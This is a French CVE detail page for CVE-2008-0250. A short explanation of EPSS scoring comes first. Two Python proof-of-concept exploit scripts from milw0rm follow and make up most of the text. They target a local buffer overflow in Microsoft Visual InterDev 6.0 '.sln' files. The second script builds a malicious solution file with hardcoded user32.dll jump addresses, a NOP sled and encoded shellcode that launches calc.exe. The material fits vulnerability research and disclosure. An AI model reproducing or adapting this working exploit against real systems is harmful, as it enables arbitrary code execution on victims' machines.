CVE-2008-0250 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#usage: exploit.py FileName import sys print "--------------------------------------------------------------------------------" print ' [PoC 2] Microsoft Visual InterDev 6.0 (SP6) ".sln" files Local Buffer Overflow' print " author: shinnai" print " mail: shinnai[at]autistici[dot]org" print " site: http://shinnai.altervista.org\n" print " Execution of arbitrary code is possible, but it annoys me at the moment :)" print "--------------------------------------------------------------------------------" buff = "a" * 264 + "bbbb" + "c" * 256 try: sln_file = \ 'Microsoft Visual Studio Solution File, Format Version 1.00\n'+\ 'Project("{}") = "' + buff + '"\n'+\ 'EndProject\n' out_file = open(sys.argv[1] + ".sln",'w') out_file.write(sln_file) out_file.close() print "\nFILE CREATION COMPLETED!\n" except: print " \n -------------------------------------" print " Usage: exploit.py FileName" print " -------------------------------------" print "\nAN ERROR OCCURS DURING FILE CREATION!" # milw0rm.com [2008-04-03]

#usage: exploit.py FileName import sys print "------------------------------------------------------------------------" print ' Microsoft Visual InterDev 6.0 (SP6) ".sln" files Local Buffer Overflow' print " author: shinnai" print " mail: shinnai[at]autistici[dot]org" print " site: http://shinnai.altervista.org\n" print " I really have much fun exploiting this one :)" print " We need to patch five exceptions before we can have EIP:\n" print " #7C80A268 8801 MOV BYTE PTR DS:[ECX],AL" print " #ECX 42424242 <-- to patch with jumper 0x7E3FBEFF" print "------------------------------------------------------------------------" buff = "A" * 1764 jumper = "\xFF\xBE\x3F\x7E" #call ESP from user32.dll buff2 = "A" * 4 buff3 = "A" * 24 buff4 = "A" * 16 buff5 = "A" * 4 nop = "\x90\x90\x90\x90" shellcode = \ "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+\ "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+\ "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+\ "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+\ "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"+\ "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"+\ "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"+\ "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"+\ "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"+\ "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+\ "\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"+\ "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"+\ "\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"+\ "\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+\ "\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"+\ "\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"+\ "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"+\ "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"+\ "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"+\ "\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"+\ "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"+\ "\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a" #execute calc.exe buff6 = "A" * 8 get_EIP = "\xFF\xB9\x3F\x7E" #call EBP from user32.dll buff7 = "A" * 56 try: sln_file = \ 'Microsoft Visual Studio Solution File, Format Version 1.00\n'+\ 'Project("{00000000-0000-0000-0000-000000000000}") = "CAB2", "' + buff + jumper + buff2 + jumper + buff3 + jumper + buff4 + jumper + buff5 + nop + shellcode + nop + '", "' + jumper + buff6 + get_EIP + buff7 + '"\n'+\ 'EndProject\n'+\ 'Global\n'+\ ' GlobalSection(LocalDeployment) = postSolution\n'+\ ' StartupProject = {00000000-0000-0000-0000-000000000000}\n'+\ ' EndGlobalSection\n'+\ ' GlobalSection(BuildOrder) = postSolution\n'+\ ' 0 = {00000000-0000-0000-0000-000000000000}\n'+\ ' EndGlobalSection\n'+\ ' GlobalSection(DeploymentRoot) = postSolution\n'+\ ' EndGlobalSection\n'+\ 'VersionCompanyName="xxx"\n'+\ 'EndGlobal' out_file = open(sys.argv[1] + ".sln",'w') out_file.write(sln_file) out_file.close() print "\nFILE CREATION COMPLETED!\n" except: print " \n -------------------------------------" print " Usage: exploit.py FileName" print " -------------------------------------" print "\nAN ERROR OCCURS DURING FILE CREATION!" # milw0rm.com [2008-01-11]